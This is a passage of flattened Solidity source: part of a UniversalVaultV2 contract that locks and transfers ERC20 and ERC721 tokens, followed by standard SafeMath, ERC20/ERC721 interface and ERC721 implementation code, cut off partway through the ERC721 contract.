returns (uint256 nonce) { return _nonce; } function owner() public view override(IUniversalVaultV2, OwnableByERC721) returns (address ownerAddress) { return OwnableByERC721.owner(); } function getLockSetCount() external view override returns (uint256 count) { return _lockSet.length(); } function getLockAt(uint256 index) external view override returns (LockData memory lockData) { return _locks[_lockSet.at(index)]; } function getBalanceDelegated(address token, address delegate) external view override returns (uint256 balance) { return _locks[calculateLockID(delegate, token)].balance; } function getBalanceLocked(address token) public view override returns (uint256 balance) { uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { LockData storage _lockData = _locks[_lockSet.at(index)]; if (_lockData.token == token && _lockData.balance > balance) balance = _lockData.balance; } return balance; } function getNumERC721TypesLocked() public view override returns (uint256 count) { return _lockedERC721Types.length(); } function getERC721TypeLockedAt(uint index) public view override returns (address token) { return _lockedERC721Types.at(index); } function getERC721LockedBalance(address token) public view override returns (uint256 balance) { return _lockedERC721s[token].length(); } function getERC721LockedAt(address token, uint index) public view override returns (uint256 tokenId) { return _lockedERC721s[token].at(index); } function getNumERC721TypesInVault() public view override returns (uint256 count) { return _vaultERC721Types.length(); } function getERC721TypeInVaultAt(uint index) public view override returns (address token) { return _vaultERC721Types.at(index); } function getERC721VaultBalance(address token) public view override returns (uint256 balance) { return _vaultERC721s[token].length(); } function getERC721InVaultAt(address token, uint index) public view override returns (uint256 tokenId) { return _vaultERC721s[token].at(index); } function checkERC20Balances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance return false if (IERC20(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance return true return true; } function checkERC721Balances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance return false if (IERC721(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance return true return true; } /* user functions */ /// @notice Lock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: anytime /// state scope: /// - insert or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being locked /// @param amount Amount of tokens being locked /// @param permission Permission signature payload function lock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount _locks[lockID].balance = _locks[lockID].balance.add(amount); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, amount); } // validate sufficient balance require( IERC20(token).balanceOf(address(this)) >= _locks[lockID].balance, "UniversalVaultV2: insufficient balance" ); // increase nonce _nonce += 1; // emit event emit Locked(msg.sender, token, amount); } function lockERC721( address token, uint256 tokenId, bytes calldata permission ) external override onlyValidSignature( getPermissionHashERC721(LOCK_ERC721_TYPEHASH, msg.sender, token, tokenId, _nonce), permission ) { // sanity check, can't lock self require( address(tokenId) != address(this), "can't self lock" ); // validate ownership require( IERC721(token).ownerOf(tokenId) == address(this), "UniversalVaultV2: vault not owner of nft" ); require( !_lockedERC721s[token].contains(tokenId), "NFT already locked" ); _lockedERC721Types.add(token); _lockedERC721s[token].add(tokenId); // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount by 1 _locks[lockID].balance = _locks[lockID].balance.add(1); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, 1); } // increase nonce _nonce += 1; // emit event emit LockedERC721(msg.sender, token, tokenId); } /// @notice Unlock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: after valid lock from delegate /// state scope: /// - remove or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being unlocked /// @param amount Amount of tokens being unlocked /// @param permission Permission signature payload function unlock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVaultV2: missing lock"); // update lock data if (_locks[lockID].balance > amount) { // subtract amount from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(amount); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit Unlocked(msg.sender, token, amount); } function unlockERC721( address token, uint256 tokenId, bytes calldata permission ) external override onlyValidSignature( getPermissionHashERC721(UNLOCK_ERC721_TYPEHASH, msg.sender, token, tokenId, _nonce), permission ) { // validate ownership require( IERC721(token).ownerOf(tokenId) == address(this), "UniversalVaultV2: vault not owner of nft" ); require( _lockedERC721s[token].contains(tokenId), "NFT not locked" ); _lockedERC721s[token].remove(tokenId); if (_lockedERC721s[token].length() == 0) { _lockedERC721Types.remove(token); } _vaultERC721Types.add(token); _vaultERC721s[token].add(tokenId); // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVaultV2: missing lock"); // update lock data if (_locks[lockID].balance > 1) { // subtract 1 from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(1); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit UnlockedERC721(msg.sender, token, tokenId); } /// @notice Forcibly cancel delegate lock /// @dev This function will attempt to notify the delegate of the rage quit using a fixed amount of gas. /// access control: only owner /// state machine: after valid lock from delegate /// state scope: /// - remove item from _locks /// token transfer: none /// @param delegate Address of delegate /// @param token Address of token being unlocked function rageQuit(address delegate, address token) external override onlyOwner returns (bool notified, string memory error) { // get lock id bytes32 lockID = calculateLockID(delegate, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVaultV2: missing lock"); // attempt to notify delegate if (delegate.isContract()) { // check for sufficient gas require(gasleft() >= RAGEQUIT_GAS, "UniversalVaultV2: insufficient gas"); // attempt rageQuit notification try IRageQuit(delegate).rageQuit{gas: RAGEQUIT_GAS}() { notified = true; } catch Error(string memory res) { notified = false; error = res; } catch (bytes memory) { notified = false; } } // update lock storage assert(_lockSet.remove(lockID)); delete _locks[lockID]; // emit event emit RageQuit(delegate, token, notified, error); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= max(lock) + amount /// state scope: none /// token transfer: transfer any token /// @param token Address of token being transferred /// @param to Address of the recipient /// @param amount Amount of tokens to transfer function transferERC20( address token, address to, uint256 amount ) external override onlyOwner { // check for sufficient balance require( IERC20(token).balanceOf(address(this)) >= getBalanceLocked(token).add(amount), "UniversalVaultV2: insufficient balance" ); // perform transfer TransferHelper.safeTransfer(token, to, amount); } function transferERC721( address token, address to, uint256 tokenId ) external override onlyOwner { // validate ownership require( IERC721(token).ownerOf(tokenId) == address(this), "UniversalVaultV2: vault not owner of nft" ); require( !_lockedERC721s[token].contains(tokenId), "NFT is locked. Unlock first." ); _vaultERC721s[token].remove(tokenId); if (_vaultERC721s[token].length() == 0) { _vaultERC721Types.remove(token); } // perform transfer IERC721(token).safeTransferFrom(address(this), to, tokenId); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= amount /// state scope: none /// token transfer: transfer any token /// @param to Address of the recipient /// @param amount Amount of ETH to transfer function transferETH(address to, uint256 amount) external payable override onlyOwner { // perform transfer TransferHelper.safeTransferETH(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s 